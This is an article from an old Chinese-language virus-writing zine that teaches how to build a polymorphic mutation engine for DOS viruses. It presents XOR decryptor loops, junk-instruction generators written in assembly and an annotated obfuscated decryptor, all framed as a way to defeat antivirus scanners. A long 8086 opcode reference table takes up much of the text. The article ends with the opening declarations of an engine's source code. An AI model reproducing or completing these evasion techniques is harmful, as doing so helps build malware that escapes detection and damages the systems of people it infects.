
               ☆ ＴＰＶＯ病毒雜誌  第００１期  TPVO-001.009 ☆

                           ◎變體引擎寫作指南◎
                           by Zhuge Jin of TPVO

  ==========================================================================

  ******
  前  言
  ******
      當今目前病毒界的驅勢已邁向多形病毒的境界，這種技術足以使傳統的掃毒程式面
  臨淘汰的局面，為何多形病毒有如此的能力呢？或許大家都很熟悉這個新玩意，不過我
  想你一定還不太了解她的制作原理，或許你想寫卻不得其門而入，看了本篇我相信你應
  會有初步的認識，或許有朝一日你一定會自己寫出多形病毒∼∼∼
      起初我對多形病毒並不感興趣，但我和Ｄark Ｓlayer聊過天後，我才有一股寫多
  形的衝動！（哇！衝動？）當然啦！我認為這是未來的趨勢，在此我將一些相關的資料
  來給大家參考，因為要取得有關病毒的寫作技術時在太難了，雖然這篇並不怎樣，如果
  你認為不好，你大可將她刪掉∼∼∼千萬！千萬！不要拿她來〞批判〞！她是無辜的∼

  ********
  什是多形
  ********
      多形就是能把程式碼變成不同的風貌，而其最基本的方法就是把程式編碼，或將程
  式碼作重新排列，如果更利害的還可將不同的方法混合使用，當然這不是異想天開的事
  ！要作到這種能力的方法是很簡單的事，以下就是一個簡單的外部解碼模組：

                mov si,0200h          [*]為解碼指令
                       ^^^^           [^]為不固定的數值
                mov cx,0400h
                       ^^^^
       xor_loop:
                mov al,cs:[si]
              * xor al,2eh
                       ^^
                inc si
                loop xor_loop

      相信這個很容易懂吧？這個是利用迴圈來作解碼的工作。但有個缺點，就是解碼指
  可以被當作病毒碼來偵測！這就是傳統的多形病毒的缺點，或許這還不能算是多形病毒
  ，應該叫作編碼型病毒，如PS-MPC所產生出來的病毒．．．

      好！下面這個就比起上面那個要來的有深度了，因為每個指令之中也許穿插了許多
  與解碼程式無關的指令，當然這些指令決不可以引響解碼的過程，否則只有死路一條！

                ... ...
                mov si,0200h          [*]為解碼指令
                ... ...               [.]為垃圾指令
                ... ...
                mov cx,0400h
                ... ...
       xor_loop:
                ... ...
                mov al,cs:[si]
                ... ...
              * xor al,2eh
                ... ...
                inc si
                ... ...
                loop xor_loop
                ... ...

      或許你會有一個假想，怎樣才可使中間穿差一些無關緊要的程式碼？用程式來控制
  嗎？還是自己在解碼指令中隨意加些無用的指令？哈！的確用程式就可做到！而且好壞
  就決定於這裡是否寫的好∼∼∼

             ... ...           [*]為解碼模組 其餘為垃圾指令
             add cl,c6h
             xor di,ax
      * 151: xor bx,bx                ;set bx:=0000h
      * 153: xchg bx,di               ;set di:=bx
             and bx,30f6h
             ... ...
             mov ch,a6h
        175: mov dh,4dh
             or ch,ch
             sub dh,05h
      * 17c: inc byte ptr [di+bdfah]  ;解碼指令
             sub bl,20h
             ... ...
             cmp ah,cl
      * 18d: inc di                   ;di:=di+01h
             add al,d5h
      * 191: cmp di,43d6h
             mov bl,85h
             ... ...
             mov bx,6598h
      * 1a2: jnz 175                  ;if di<43d6h then jmp 175
             add ax,bp
             ... ...

      此外還有一個最重要的地方就是：解碼指令！！！上例的解碼指令是用inc，當然
  也可以用其它指令來取代，如：add、sub、xor、neg．．．而這些都可用程式來做到，
  而甚至可以做成模組檔來供病毒作者呼叫，這就是『變体引擎』的由來．．．

  *****************************************
  ８Ｏ８６指令集目的碼（按數值大小順序排列）
  *****************************************

      原本我要連８０１８６及８０８７的一些目的碼都加入，但我想這些不是非
  常實用，所以我考慮不寫進去。有關下表我建議你最好印下來，並用debug 去實
  際研究，相信你一定有收穫。當然一定要好好看，不用死記！切記∼∼∼

  以下取些原文供你參考：
  ---------------------------------------------------------------------
  8080/8088 Instructions
  Notes for 8086/8088 Instructions

  The undividual instruction descript are shown by a format box such
  as the following:
      ┌───┬────┬---------------┬──┬-----
      │Opcode│m/op/r/m│               │Data│
      └───┴────┴---------------┴──┴-----
  o Opcode is the 8-bit opcode for the instruction. The actual opcode
    generated is defined in the "Opcode" column of the instruction
    table that follows each format box.
  o m/op/r/m is the byte that specifies the operands of the instruction
    . It contains a 2-bit mode field(m), a 3-bit register field(op),
    and a 3-bit register or memory(r/m) field.
                                ...
                                ...
  ---------------------------------------------------------------------

  1) reg ：共3-bit，若CS之類就只2-bit。
   ┌─────┬─────┬─────┐
   │字組暫存器│字元暫存器│節區暫存器│
   ├─────┼─────┼─────┤
   │  000 AX  │  000 AL  │  00 ES   │
   │  001 CX  │  001 CL  │  01 CS   │
   │  010 DX  │  010 DL  │  10 SS   │
   │  011 BX  │  011 BL  │  11 DS   │
   │  100 SP  │  100 AH  │          │
   │  101 BP  │  101 CH  │          │
   │  110 SI  │  110 DH  │          │
   │  111 DI  │  111 BH  │          │
   └─────┴─────┴─────┘

   2) mod ：共2-bit。
   ┌──┬─────────────┐
   │mod │                          │
   ├──┼─────────────┤
   │00  │r/m=r/m。                 │
   │01  │指明r/m為mem，disp為字元。│
   │10  │指明r/m為mem，disp為字組。│
   │11  │指定r/m為一個reg。        │
   └──┴─────────────┘

   3) r/m ：共3-bit。
   ┌──┬──────┐
   │r/m │            │
   ├──┼──────┤
   │000 │[BX+SI+disp]│
   │001 │[BX+DI+disp]│
   │010 │[BP+SI+disp]│
   │011 │[BP+DI+disp]│
   │100 │[SI+disp]   │
   │101 │[DI+disp]   │
   │110 │[BP+disp]*  │
   │111 │[BX+disp]   │
   └──┴──────┘

   4) 假如mod==00 and r/m==110的話，mod ??? r/m==00???110b ？

      例：ADD AX,[1234]

          則B0==03h，B1==mod reg r/m [disp][disp]
          做出來的碼變為：
            B0=03h <-ADD
                 ___ax
            B1=00000110B=06h
               ^^   ^^^
              mod    r/m
            B4=34h
            B5=12h
        答：03h,06h,34h,12h == ADD AX,[1234]  Understand?

    5) (b) ：byte 表暫存器為字元。
       (w) ：word 表暫存器為字組。
       disp ：表一字組。
       addr ：[????]
       type ：??
       *not used* ：表未使用，但其中有些被一些處理機使用。
                    （如：80x86中的PUSHA、POPA．．．）
       xx ??? xxx ：保留不用。


      例：(1) cdh ：int type ... int 13h int 21h
                        ^^^^         ^^^     ^^^
          (2) a0h ：mov ax,addr ... mov ax,[1234]
                           ^^^^            ^^^^^^
          (3) 74h ：jz disp ... 74h 06h
                       ^^^^         ^^^
          (4) 3ah ：cmp reg,mem/reg (b) ... cmp ah,al
                                    ^^^         ^^ ^^
          (5) 3bh ：cmp reg,mem/reg (w) ... cmp ax,bx
                                    ^^^         ^^ ^^


 │←           目   的   碼         →│←   組合語言指令格式   →│
 ┌─┬──────┬─────────┬─────────────┐
 │B0│B1          │Succeeding Bytes  │Mnemonic                  │
 ├─┼──────┼─────────┼─────────────┤
 │00│mod reg r/m │[disp][disp]      │ADD mem/reg,reg (b)       │
 │01│mod reg r/m │[disp][disp]      │ADD mem/reg,reg (w)       │
 │02│mod reg r/m │[disp][disp]      │ADD reg,mem/reg (b)       │
 │03│mod reg r/m │[disp][disp]      │ADD reg,mem/reg (w)       │
 │04│kk          │                  │ADD AL,kk                 │
 │05│kk          │jj                │ADD AX,jjkk               │
 │06│            │                  │PUSH ES                   │
 │07│            │                  │POP ES                    │
 │08│mod reg r/m │[disp][disp]      │OR mem/reg,reg (b)        │
 │09│mod reg r/m │[disp][disp]      │OR mem/reg,reg (w)        │
 │0a│mod reg r/m │[disp][disp]      │OR reg,mem/reg (b)        │
 │0b│mod reg r/m │[disp][disp]      │OR reg,mem/reg (w)        │
 │0c│kk          │                  │OR AL,kk                  │
 │0d│kk          │jj                │OR AX,jjkk                │
 │0e│            │                  │PUSH CS                   │
 │0f│            │                  │*not used*                │
 │10│mod reg r/m │[disp][disp]      │ADC mem/reg,reg (b)       │
 │11│mod reg r/m │[disp][disp]      │ADC mem/reg,reg (w)       │
 │12│mod reg r/m │[disp][disp]      │ADC reg,mem/reg (b)       │
 │13│mod reg r/m │[disp][disp]      │ADC reg,mem/reg (w)       │
 │14│kk          │                  │ADC AL,kk                 │
 │15│kk          │jj                │ADC AX,jjkk               │
 │16│            │                  │PUSH SS                   │
 │17│            │                  │POP SS                    │
 │18│mod reg r/m │[disp][disp]      │SBB mem/reg,reg (b)       │
 │19│mod reg r/m │[disp][disp]      │SBB mem/reg,reg (w)       │
 │1a│mod reg r/m │[disp][disp]      │SBB reg,mem/reg (b)       │
 │1b│mod reg r/m │[disp][disp]      │SBB reg,mem/reg (w)       │
 │1c│kk          │                  │SBB AL,kk                 │
 │1d│kk          │jj                │SBB AX,jjkk               │
 │1e│            │                  │PUSH DS                   │
 │1f│            │                  │POP DS                    │
 │20│mod reg r/m │[disp][disp]      │AND mem/reg,reg (b)       │
 │21│mod reg r/m │[disp][disp]      │AND mem/reg,reg (w)       │
 │22│mod reg r/m │[disp][disp]      │AND reg,mem/reg (b)       │
 │23│mod reg r/m │[disp][disp]      │AND reg,mem/reg (w)       │
 │24│kk          │                  │AND AL,kk                 │
 │25│kk          │jj                │AND AX,jjkk               │
 │26│            │                  │SEG ES                    │
 │27│            │                  │DAA                       │
 │28│mod reg r/m │[disp][disp]      │SUB mem/reg,reg (b)       │
 │29│mod reg r/m │[disp][disp]      │SUB mem/reg,reg (w)       │
 │2a│mod reg r/m │[disp][disp]      │SUB reg,mem/reg (b)       │
 │2b│mod reg r/m │[disp][disp]      │SUB reg,mem/reg (w)       │
 │2c│kk          │                  │SUB AL,kk                 │
 │2d│kk          │jj                │SUB AX,jjkk               │
 │2e│            │                  │SEG CS                    │
 │2f│            │                  │DAS                       │
 │30│mod reg r/m │[disp][disp]      │XOR mem/reg,reg (b)       │
 │31│mod reg r/m │[disp][disp]      │XOR mem/reg,reg (w)       │
 │32│mod reg r/m │[disp][disp]      │XOR reg,mem/reg (b)       │
 │33│mod reg r/m │[disp][disp]      │XOR reg,mem/reg (w)       │
 │34│kk          │                  │XOR AL,kk                 │
 │35│kk          │jj                │XOR AX,jjkk               │
 │36│            │                  │SEG SS                    │
 │37│            │                  │AAA                       │
 │38│mod reg r/m │[disp][disp]      │CMP mem/reg,reg (b)       │
 │39│mod reg r/m │[disp][disp]      │CMP mem/reg,reg (w)       │
 │3a│mod reg r/m │[disp][disp]      │CMP reg,mem/reg (b)       │
 │3b│mod reg r/m │[disp][disp]      │CMP reg,mem/reg (w)       │
 │3c│kk          │                  │CMP AL,kk                 │
 │3d│kk          │jj                │CMP AX,jjkk               │
 │3e│            │                  │SEG DS                    │
 │3f│            │                  │AAS                       │
 ├─┼──────┼─────────┼─────────────┤
 │40│            │                  │INC AX                    │
 │41│            │                  │INC CX                    │
 │42│            │                  │INC DX                    │
 │43│            │                  │INC BX                    │
 │44│            │                  │INC SP                    │
 │45│            │                  │INC BP                    │
 │46│            │                  │INC SI                    │
 │47│            │                  │INC DI                    │
 │48│            │                  │DEC AX                    │
 │49│            │                  │DEC CX                    │
 │4A│            │                  │DEC DX                    │
 │4B│            │                  │DEC BX                    │
 │4C│            │                  │DEC SP                    │
 │4D│            │                  │DEC BP                    │
 │4E│            │                  │DEC SI                    │
 │4F│            │                  │DEC DI                    │
 ├─┼──────┼─────────┼─────────────┤
 │50│            │                  │PUSH AX                   │
 │51│            │                  │PUSH CX                   │
 │52│            │                  │PUSH DX                   │
 │53│            │                  │PUSH BX                   │
 │54│            │                  │PUSH SP                   │
 │55│            │                  │PUSH BP                   │
 │56│            │                  │PUSH SI                   │
 │57│            │                  │PUSH DI                   │
 │58│            │                  │POP AX                    │
 │59│            │                  │POP CX                    │
 │5A│            │                  │POP DX                    │
 │5B│            │                  │POP BX                    │
 │5C│            │                  │POP SP                    │
 │5D│            │                  │POP BP                    │
 │5E│            │                  │POP SI                    │
 │5F│            │                  │POP DI                    │
 ├─┴──────┼─────────┼─────────────┤
 │60-6f           │                  │*not used*                │
 ├─┬──────┼─────────┼─────────────┤
 │70│disp        │                  │JO disp                   │
 │71│disp        │                  │JNO disp                  │
 │72│disp        │                  │JB or JNAE or JC disp     │
 │73│disp        │                  │JNB or JAE or JNC disp    │
 │74│disp        │                  │JE or JZ disp             │
 │75│disp        │                  │JNE or JNZ disp           │
 │76│disp        │                  │JBE or JNA disp           │
 │77│disp        │                  │JNBE or JA disp           │
 │78│disp        │                  │JS disp                   │
 │79│disp        │                  │JNS disp                  │
 │7A│disp        │                  │JP or JPE disp            │
 │7B│disp        │                  │JNP or JPO disp           │
 │7C│disp        │                  │JL or JNGE disp           │
 │7D│disp        │                  │JNL or JGE disp           │
 │7E│disp        │                  │JLE or JNG disp           │
 │7F│disp        │                  │JNLE or JG disp           │
 ├─┼──────┼─────────┼─────────────┤
 │80│mod 000 r/m │[disp][disp] kk   │ADD mem/reg,kk            │
 │80│mod 001 r/m │[disp][disp] kk   │OR mem/reg,kk             │
 │80│mod 010 r/m │[disp][disp] kk   │ADC mem/reg,kk            │
 │80│mod 011 r/m │[disp][disp] kk   │SBB mem/reg,kk            │
 │80│mod 100 r/m │[disp][disp] kk   │AND mem/reg,kk            │
 │80│mod 101 r/m │[disp][disp] kk   │SUB mem/reg,kk            │
 │80│mod 110 r/m │[disp][disp] kk   │XOR mem/reg,kk            │
 │80│mod 111 r/m │[disp][disp] kk   │CMP mem/reg,kk            │
 │----------------------------------------------------------------│
 │81│mod 000 r/m │[disp][disp] kkjj │ADD mem/reg,jjkk          │
 │81│mod 001 r/m │[disp][disp] kkjj │OR mem/reg,jjkk           │
 │81│mod 010 r/m │[disp][disp] kkjj │ADC mem/reg,jjkk          │
 │81│mod 011 r/m │[disp][disp] kkjj │SBB mem/reg,jjkk          │
 │81│mod 100 r/m │[disp][disp] kkjj │AND mem/reg,jjkk          │
 │81│mod 101 r/m │[disp][disp] kkjj │SUB mem/reg,jjkk          │
 │81│mod 110 r/m │[disp][disp] kkjj │XOR mem/reg,jjkk          │
 │81│mod 111 r/m │[disp][disp] kkjj │CMP mem/reg,jjkk          │
 ├─┼──────┼─────────┼─────────────┤
 │82│mod 000 r/m │[disp][disp] kk   │ADD mem/reg,kk (b)        │
 │82│xx  001 xxx │                  │*not used*                │
 │82│mod 010 r/m │[disp][disp] kk   │ADC mem/reg,kk (b)        │
 │82│mod 011 r/m │[disp][disp] kk   │SBB mem/reg,kk (b)        │
 │82│xx  100 xxx │                  │*not used*                │
 │82│mod 101 r/m │[disp][disp] kk   │SUB mem/reg,kk (b)        │
 │82│xx  110 xxx │                  │*not used*                │
 │82│mod 111 r/m │[disp][disp] kk   │CMP mem/reg,kk (b)        │
 │----------------------------------------------------------------│
 │83│mod 000 r/m │[disp][disp] kkjj │ADD mem/reg,jjkk (ws)     │
 │83│xx  001 xxx │                  │*not used*                │
 │83│mod 010 r/m │[disp][disp] kkjj │ADC mem/reg,jjkk (ws)     │
 │83│mod 011 r/m │[disp][disp] kkjj │SBB mem/reg,jjkk (ws)     │
 │83│xx  100 xxx │                  │*not used*                │
 │83│mod 101 r/m │[disp][disp] kkjj │SUB mem/reg,jjkk (ws)     │
 │83│xx  110 xxx │                  │*not used*                │
 │83│mod 111 r/m │[disp][disp] kkjj │CMP mem/reg,jjkk (ws)     │
 ├─┼──────┼─────────┼─────────────┤
 │84│mod reg r/m │[disp][disp] kk   │TEST mem/reg,reg (b)      │
 │85│mod reg r/m │[disp][disp] kk   │TEST mem/reg,reg (w)      │
 │86│mod reg r/m │[disp][disp] kk   │XCHG mem/reg,reg (b)      │
 │87│mod reg r/m │[disp][disp] kk   │XCHG mem/reg,reg (w)      │
 │88│mod reg r/m │[disp][disp] kk   │MOV mem/reg,reg (b)       │
 │89│mod reg r/m │[disp][disp] kk   │MOV mem/reg,reg (w)       │
 │8a│mod reg r/m │[disp][disp] kk   │MOV reg,mem/reg (b)       │
 │8b│mod reg r/m │[disp][disp] kk   │MOV reg,mem/reg (w)       │
 │8c│mod 0ss r/m │[disp][disp] kk   │MOV mem/reg,segreg (b)    │
 │8c│mod 1xx r/m │                  │*not used*                │
 │8d│mod reg r/m │[disp][disp]      │LEA reg,addr              │
 │8e│mod 0ss r/m │[disp][disp]      │MOV segreg,mem/reg        │
 │8e│xx  1xx xxx │                  │*not used*                │
 │8f│mod 000 r/m │[disp][disp]      │POP mem/reg               │
 │8f│xx  001 xxx │                  │*not used*                │
 │8f│xx  010 xxx │                  │*not used*                │
 │8f│xx  011 xxx │                  │*not used*                │
 │8f│xx  100 xxx │                  │*not used*                │
 │8f│xx  101 xxx │                  │*not used*                │
 │8f│xx  110 xxx │                  │*not used*                │
 │8f│xx  111 xxx │                  │*not used*                │
 ├─┼──────┼─────────┼─────────────┤
 │90│            │                  │NOP                       │
 │91│            │                  │XCHG AX,CX                │
 │92│            │                  │XCHG AX,DX                │
 │93│            │                  │XCHG AX,BX                │
 │94│            │                  │XCHG AX,SP                │
 │95│            │                  │XCHG AX,BP                │
 │96│            │                  │XCHG AX,SI                │
 │97│            │                  │XCHG AX,DI                │
 │98│            │                  │CBW                       │
 │99│            │                  │CWD                       │
 │9a│            │                  │CALL addr                 │
 │9b│            │                  │WAIT                      │
 │9c│            │                  │PUSHF                     │
 │9d│            │                  │POPF                      │
 │9e│            │                  │SAHF                      │
 │9f│            │                  │LAHF                      │
 │a0│qq          │pp                │MOV AL,addr               │
 │a1│qq          │pp                │MOV AX,addr               │
 │a2│qq          │pp                │MOV addr,AL               │
 │a3│qq          │pp                │MOV addr,AX               │
 │a4│            │                  │MOVS BYTE                 │
 │a5│            │                  │MOVS WORD                 │
 │a6│            │                  │CMPS BYTE                 │
 │a7│            │                  │CMPS WORD                 │
 │a8│kk          │                  │TEST AL,kk                │
 │a9│kk          │jj                │TEST AX,jjkk              │
 │aa│            │                  │STOS BYTE                 │
 │ab│            │                  │STOS WORD                 │
 │ac│            │                  │LODS BYTE                 │
 │ad│            │                  │LODS WORD                 │
 │ae│            │                  │SCAS BYTE                 │
 │af│            │                  │SCAS WORD                 │
 ├─┼──────┼─────────┼─────────────┤
 │b0│kk          │                  │MOV AL,kk                 │
 │b1│kk          │                  │MOV CL,kk                 │
 │b2│kk          │                  │MOV DL,kk                 │
 │b3│kk          │                  │MOV BL,kk                 │
 │b4│kk          │                  │MOV AH,kk                 │
 │b5│kk          │                  │MOV CH,kk                 │
 │b6│kk          │                  │MOV DH,kk                 │
 │b7│kk          │                  │MOV BH,kk                 │
 │b8│kk          │jj                │MOV AX,jjkk               │
 │b9│kk          │jj                │MOV CX,jjkk               │
 │ba│kk          │jj                │MOV DX,jjkk               │
 │bb│kk          │jj                │MOV BX,jjkk               │
 │bc│kk          │jj                │MOV SP,jjkk               │
 │bd│kk          │jj                │MOV BP,jjkk               │
 │be│kk          │jj                │MOV SI,jjkk               │
 │bf│kk          │jj                │MOV SI,jjkk               │
 ├─┼──────┼─────────┼─────────────┤
 │c0│            │                  │*not used*                │
 │c1│            │                  │*not used*                │
 │c2│kk          │jj                │RET jjkk                  │
 │c3│            │                  │RET                       │
 │c4│mod reg r/m │[disp][disp]      │LES reg,addr              │
 │c5│mod reg r/m │[disp][disp]      │LDS reg,addr              │
 │c6│mod 000 r/m │[disp][disp] kk   │MOV mem,kk                │
 │c6│xx  001 xxx │                  │*not used*                │
 │c6│xx  010 xxx │                  │*not used*                │
 │c6│xx  011 xxx │                  │*not used*                │
 │c6│xx  100 xxx │                  │*not used*                │
 │c6│xx  101 xxx │                  │*not used*                │
 │c6│xx  110 xxx │                  │*not used*                │
 │c6│xx  111 xxx │                  │*not used*                │
 │c7│xx  111 xxx │                  │*not used*                │
 │c8│            │                  │*not used*                │
 │c9│            │                  │*not used*                │
 │ca│kk          │jj                │RET jjkk                  │
 │cb│            │                  │RET                       │
 │cc│            │                  │INT 3                     │
 │cd│type        │                  │INT type                  │
 │ce│            │                  │INTO                      │
 │cf│            │                  │IRET                      │
 ├─┼──────┼─────────┼─────────────┤
 │d0│mod 000 r/m │[disp][disp]      │ROL mem/reg,1 (b)         │
 │d0│mod 001 r/m │[disp][disp]      │ROR mem/reg,1 (b)         │
 │d0│mod 010 r/m │[disp][disp]      │RCL mem/reg,1 (b)         │
 │d0│mod 011 r/m │[disp][disp]      │SAL or SHL mem/reg,1 (b)  │
 │d0│mod 100 r/m │[disp][disp]      │SHR mem/reg,1 (b)         │
 │d0│xx  110 xxx │                  │*not used*                │
 │d0│mod 111 r/m │[disp][disp]      │SAR mem/reg,1 (b)         │
 │----------------------------------------------------------------│
 │d1│mod 000 r/m │[disp][disp]      │ROL mem/reg,1 (w)         │
 │d1│mod 001 r/m │[disp][disp]      │ROR mem/reg,1 (w)         │
 │d1│mod 010 r/m │[disp][disp]      │RCL mem/reg,1 (w)         │
 │d1│mod 011 r/m │[disp][disp]      │SAL or SHL mem/reg,1 (w)  │
 │d1│mod 100 r/m │[disp][disp]      │SHR mem/reg,1 (w)         │
 │d1│xx  110 xxx │                  │*not used*                │
 │d1│mod 111 r/m │[disp][disp]      │SAR mem/reg,1 (w)         │
 │----------------------------------------------------------------│
 │d2│mod 000 r/m │[disp][disp]      │ROL mem/reg,CL (b)        │
 │d2│mod 001 r/m │[disp][disp]      │ROR mem/reg,CL (b)        │
 │d2│mod 010 r/m │[disp][disp]      │RCL mem/reg,CL (b)        │
 │d2│mod 011 r/m │[disp][disp]      │SAL or SHL mem/reg,CL (b) │
 │d2│mod 100 r/m │[disp][disp]      │SHR mem/reg,CL (b)        │
 │d2│xx  110 xxx │                  │*not used*                │
 │d2│mod 111 r/m │[disp][disp]      │SAR mem/reg,CL (b)        │
 │----------------------------------------------------------------│
 │d3│mod 000 r/m │[disp][disp]      │ROL mem/reg,CL (w)        │
 │d3│mod 001 r/m │[disp][disp]      │ROR mem/reg,CL (w)        │
 │d3│mod 010 r/m │[disp][disp]      │RCL mem/reg,CL (w)        │
 │d3│mod 011 r/m │[disp][disp]      │SAL or SHL mem/reg,CL (w) │
 │d3│mod 100 r/m │[disp][disp]      │SHR mem/reg,CL (w)        │
 │d3│xx  110 xxx │                  │*not used*                │
 │d3│mod 111 r/m │[disp][disp]      │SAR mem/reg,CL (w)        │
 ├─┼──────┼─────────┼─────────────┤
 │d4│0a          │                  │AAM                       │
 │d5│0a          │                  │AAD                       │
 │d6│            │                  │*not used*                │
 ├─┼──────┼─────────┼─────────────┤
 │d8│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │d9│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │da│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │db│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │dc│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │dd│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │de│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 │df│mod xxx r/m │[disp][disp]      │ESC mem/reg               │
 ├─┼──────┼─────────┼─────────────┤
 │e0│disp        │                  │LOOPNE or LOOPNZ disp     │
 │e1│disp        │                  │LOOPE or LOOPZ disp       │
 │e2│disp        │                  │LOOP disp                 │
 │e3│disp        │                  │JCXZ disp                 │
 │e4│kk          │                  │IN AL,kk                  │
 │e5│kk          │                  │IN AX,kk                  │
 │e6│kk          │                  │OUT AL,kk                 │
 │e7│kk          │                  │OUT AX,kk                 │
 │e8│disp        │disp              │CALL disp16               │
 │e9│disp        │disp              │JMP disp16                │
 │ea│kk          │jj hh gg          │JMP addr                  │
 │eb│disp        │                  │JMP disp                  │
 │ec│            │                  │IN AL,DX                  │
 │ed│            │                  │IN AX,DX                  │
 │ee│            │                  │OUT AL,DX                 │
 │ef│            │                  │OUT AX,DX                 │
 │f0│            │                  │LOCK                      │
 │f1│            │                  │*not used*                │
 │f2│            │                  │REPNE or REPNZ            │
 │f3│            │                  │REP or REPZ               │
 │f4│            │                  │HLT                       │
 │f5│            │                  │CMC                       │
 ├─┼──────┼─────────┼─────────────┤
 │f6│mod 000 r/m │[disp][disp] kk   │TEST mem/reg,kk           │
 │f6│xx  001 xxx │                  │*not used*                │
 │f6│mod 010 r/m │[disp][disp]      │NOT mem/reg (b)           │
 │f6│mod 011 r/m │[disp][disp]      │NEG mem/reg (b)           │
 │f6│mod 100 r/m │[disp][disp]      │MUL mem/reg (b)           │
 │f6│mod 101 r/m │[disp][disp]      │IMUL mem/reg (b)          │
 │f6│mod 110 r/m │[disp][disp]      │DIV mem/reg (b)           │
 │f6│mod 111 r/m │[disp][disp]      │IDIV mem/reg (b)          │
 │----------------------------------------------------------------│
 │f7│mod 000 r/m │[disp][disp] kkjj │TEST mem/reg,jjkk         │
 │f7│xx  001 xxx │                  │*not used*                │
 │f7│mod 010 r/m │[disp][disp]      │NOT mem/reg (w)           │
 │f7│mod 011 r/m │[disp][disp]      │NEG mem/reg (w)           │
 │f7│mod 100 r/m │[disp][disp]      │MUL mem/reg (w)           │
 │f7│mod 101 r/m │[disp][disp]      │IMUL mem/reg (w)          │
 │f7│mod 110 r/m │[disp][disp]      │DIV mem/reg (w)           │
 │f7│mod 111 r/m │[disp][disp]      │IDIV mem/reg (w)          │
 ├─┼──────┼─────────┼─────────────┤
 │f8│            │                  │CLC                       │
 │f9│            │                  │STC                       │
 │fa│            │                  │CLI                       │
 │fb│            │                  │STI                       │
 │fc│            │                  │CLD                       │
 │fd│            │                  │STD                       │
 ├─┼──────┼─────────┼─────────────┤
 │fe│mod 000 r/m │[disp][disp]      │INC mem/reg (b)           │
 │fe│mod 001 r/m │[disp][disp]      │DEC mem/reg (b)           │
 │fe│xx  010 xxx │                  │*not used*                │
 │fe│xx  011 xxx │                  │*not used*                │
 │fe│xx  100 xxx │                  │*not used*                │
 │fe│xx  101 xxx │                  │*not used*                │
 │fe│xx  110 xxx │                  │*not used*                │
 │fe│xx  111 xxx │                  │*not used*                │
 │ff│mod 000 r/m │[disp][disp]      │INC mem/reg (w)           │
 │ff│mod 001 r/m │[disp][disp]      │DEC mem/reg (w)           │
 │ff│mod 010 r/m │[disp][disp]      │CALL mem/reg              │
 │ff│mod 011 r/m │[disp][disp]      │CALL mem                  │
 │ff│mod 100 r/m │[disp][disp]      │JMP mem/reg               │
 │ff│mod 101 r/m │[disp][disp]      │JMP mem                   │
 │ff│mod 110 r/m │[disp][disp]      │PUSH mem/reg              │
 │ff│xx  111 xxx │                  │*not used*                │
 └─┴──────┴─────────┴─────────────┘

  此表是本人親自整理的，如果有錯誤歡迎指正！

  ********
  寫作方法
  ********
  好！在你看完了上一張表之後，你應該會有許多發現，有些指令相似的指令都聚集在某
  一個地帶，因此我們只要來劃分個區域來討論就好了∼∼∼

   1) 00h - 3fh
   2) 40h - 6fh
   3) 70h - 7fh
   4) 80h - 83h
   5) 84h - 8fh
   6) 90h - 9fh
   7) a0h - afh
   8) b0h - bfh
   9) c0h - cfh
  10) d0h - d3h
  11) d4h -

  當然啦！這裡我不可能每個都講，我就舉一些較簡單的部份來作範例！諸位不要以為我
  在混∼∼∼因為如果要講的話可能怕你看不懂，所以我就講一些較簡單的∼∼∼

  ------------
  2) 40h - 6fh   in al,40h ; and al=40h - 6fh
  ------------
  and al,0fh
  or al,40h
  mov es:[di],al
  inc di
  這幾道指令可產生16種指令，如：INC AX 、INC DI 、DEC AX ．．．

  ------------
  3) 70h - 7fh   in al,40h ; and al=70h - 7fh
  ------------
  and ax,000fh
  or al,40h
  mov es:[di],ax
  inc di
  inc di
  這幾道指令可產生16種指令，如：JZ 、JA 、JO ．．．

  ------------
  8) b0h - bfh   in al,40h ; and al=b0h - bfh
  ------------
  and ax,000fh
  or al,b0h
  mov es:[di],al
  inc di
  in ax,40h
  mov es:[di],ax
  inc di
  inc di
  這幾道指令可產生16種指令，如：MOV AX,1234h ．．．

  看了以上你應該有點了解作多形碼的一些原理吧．．．但最主要的還是解碼的程式．．
  ．我舉個例子來研究．．．

  0100h
    MOV AX,567F
    MOV CX,2142
    AND AX,DX
    MOV AH,21
  XOR_LOOP:
    XOR CX,CX
   *MOV DI,0240        ;設初值,DI指向被編碼的開頭...
    OR SI,DI
    ADD SI,AX
    OR AX,DI
   *XOR CS:[DI],34DE   ;編碼指令...
    CMP SI,2134
    XOR CX,CX
    INC DX
    AND DX,CX
    MOV AX,DS
    DEC BP
   *CMP DI,0340  ;檢察是否編碼完畢...
    MOV CX,AX
    MOV DX,DI
   *JZ 240       ;如果編碼完後就跳...
    OR AX,CX
   *INC DI       ;
    DEC BP
   *INC DI       ;
   *JMP XOR_LOOP ;回圈

       如果你有看過後，不知道你有沒有發覺DI值永遠沒被其它非星號的指令所破壞。
   也就是說無論如何，你垃圾指令再怎麼變化，只要不去干擾解碼指令的運作即可。此
   外還有幾點要注意的是：

     一、堆疊：像MOV SP,xxxx 、INC SP 、MOV SP,AX這類會動到SP盡量少用，因為
               如果控制不好的話，可能堆疊會被破壞．．．

     二、節區：像MOV CS,AX這種會動到節區暫存區也盡量少用，我想除了.EXE檔才會用
               到之外，其他情況應該不會用到才是．．．

     三、存取過界：如：MOV AX,[ffffh]這種指令，非常容易當機！此外還有些指令你可
               能會不太去注意到的，如：MOV AX,[BX+DI+2000h]！你會想怎麼會當機呢
               ？其實假如[xxxxh]內的值剛好卡在ffffh內都會，更何況我們是在回圈內
               用，則這些值我們更無法判斷，這點你要注意！！！

     四、指令的差異：你想MOV AX,DI跟MOV DI,AX有什麼差別？如果我們要用到DI的話
               MOV DI,AX這個指令就要考慮是不是可作為垃圾指令囉！這點除了MOV之
               外，像ADD 、XOR 、XCHG這些指令都要注意．．．

       以上是我寫多形的一些經驗，如果有問題歡迎來信討論∼∼∼
                                                                ︿  ︿
                                                                (o)(o)
                       全國的有史以來控制最多賽豬 之 豬場大亨 （ (oo) ）
==============================================================================

; * 金蟬變態引擎原始程式
; * 由全國最變態的病毒作者所撰寫... (哇! 哈! 哈! 哈! 哈! 我的藥呢?)

        .MODEL SMALL
        .CODE
        PUBLIC GCAE,GCAE_E

        db 00h,'[GCAE] v1.0',00h

mr_d0   dw ?
mr_d2   dw ?
mr_d4   dw ?
mr_da   dw ?

reg_1   db ?
reg_2   db ?

